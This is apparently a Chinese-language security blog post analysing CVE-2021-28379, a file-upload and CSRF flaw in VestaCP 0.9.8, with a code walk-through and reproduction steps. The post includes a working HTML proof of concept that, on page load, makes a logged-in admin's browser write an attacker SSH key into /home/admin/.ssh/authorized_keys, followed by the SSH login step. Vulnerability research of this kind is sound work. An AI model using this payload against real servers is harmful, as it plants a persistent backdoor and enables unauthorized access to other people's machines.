[CVE-2021-28379]VestaCP 0.9.8 File Upload CSRF漏洞分析

本文最后更新于:2021年8月19日 下午

0x00 前言

Vesta Control Panel(VestaCP)是一个开源的虚拟主机控制面板。 Vesta Control Panel 0.9.8-27 版本及之前版本存在代码问题漏洞,该漏洞源于/web/upload/UploadHandler.php可配合 CSRF 漏洞在管理员主页中创建.ssh文件夹并上传authorized_keys文件,最终可以通过 ssh 以 admin 身份访问服务器。

0x01 漏洞分析

定位漏洞文件/web/upload/index.php

该文件创建 UploadHandler 类的一个实例,相应上传操作在 UploadHandler.php 中实现。再定位到 UploadHandler.php,可以看到如下构造方法

accept_file_types 接受任意类型,此时首先应想到上传 php 来 getshell。但/files/目录并不能解析 php 文件,遂继续阅读代码看能否跨目录上传到 web 目录。继续跟到上传功能函数handle_file_upload()部分

该函数首先会调用trim_file_name()来对文件名进行修改,我们来看下他干了什么

  1. 首先调用 stripslashes()从文件名中删除所有斜杠。
  2. basename 只取出文件名,保证不包含任何路径
  3. 从文件名的开头和结尾删除所有控制字符(0x00 - 0x20)。

完美打破了我们在文件名上尝试目录穿越上传 webshell 的想法。问题不大继续往下看,在图三中 handle_file_upload 最后几行获取上传目录,该目录就是文件将被上载到的目录,如果该目录不存在,则会创建该目录。继续跟到 get_upload_path 函数

我们可以 get 方式传递 dir 参数并将上传目录设置为任何目录,那现在我们是不就可以向 web 目录上传文件了呢。回到 handle_file_upload 中可以看到实际创建文件操作是由v-copy-fs-file脚本完成

该 bash 脚本位于/bin/目录下,找到对$file_path做检查操作的相关行

允许并仅允许写入文件到/tmp/或者/home/admin/目录下
回过头撸一下,首先我们可以上传任意文件,其次我们可以控制写入文件路径为/tmp/,/home/admin/或其子目录,再然后 VestaCP 通常安装在 linux 上默认支持 openssh。此时可以想到向/home/admin/.ssh/下写 ssh 公钥,之后通过 ssh 连接到服务器。但 upload/存在鉴权,需登录后才可访问。
结合 CSRF 构造 POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
<script>
function exploit() {
var mystring =
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY463UG77/acyToxaVO3EbPlpzKCRLNHtWye7a0zLYYBw5Ylncktc7xo+xytuJpqdXxyMOJAtrMhSuEG/8tXtVRf317rPxn4CFd6cP6OZC36crzTdsZQzHIxBdogeHHdbluDOS+JD1MjEZU2pXg/A01jJJ2IQ6DHjkNeDhFH2/RChCiWEgGRDOgImg5EU0ScnBacJwXsoikxQgI/s/2RdKs5M9IOr2YclsTugPUnnGzMHPLyG3RNfS5MC/QyVTyGG1IInLttqhwYGpXBhAXZsahUyQd03PwgvMO3EhK6zBvgIGLFybSwVogDPgACT4/O6Je3ynMCUSexSuNkFPgvnh root@iZbp19ryeo1038lmdsso1pZ";
var fileContent = new Blob([mystring], {
type: "text/plain",
});
myFormData = new FormData();
myFormData.append("files", fileContent, "authorized_keys");
fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {
method: "post",
body: myFormData,
credentials: "include",
});
}
</script>
</head>
<body onload="exploit();"></body>
</html>

0x02 漏洞复现

傻瓜式环境搭建

1
2
3
4
5
6
# Connect to your server as root via SSH
ssh root@your.server
# Download installation script
curl -O http://vestacp.com/pub/vst-install.sh
# Run it
bash vst-install.sh


将 POC 写入 exploit.html

登录状态点击

ssh -i id_rsa admin@target

0x03 Reference

[1] https://blog.fadyothman.com/cve-2021-28379-gaining-rce-via-ssh-backdoor-in-vestacp/
[2] https://nvd.nist.gov/vuln/detail/CVE-2021-28379
[3] https://cxsecurity.com/issue/WLB-2021030100
[4] https://github.com/serghey-rodin/vesta/tree/0.9.8-24
[5] https://vestacp.com/install/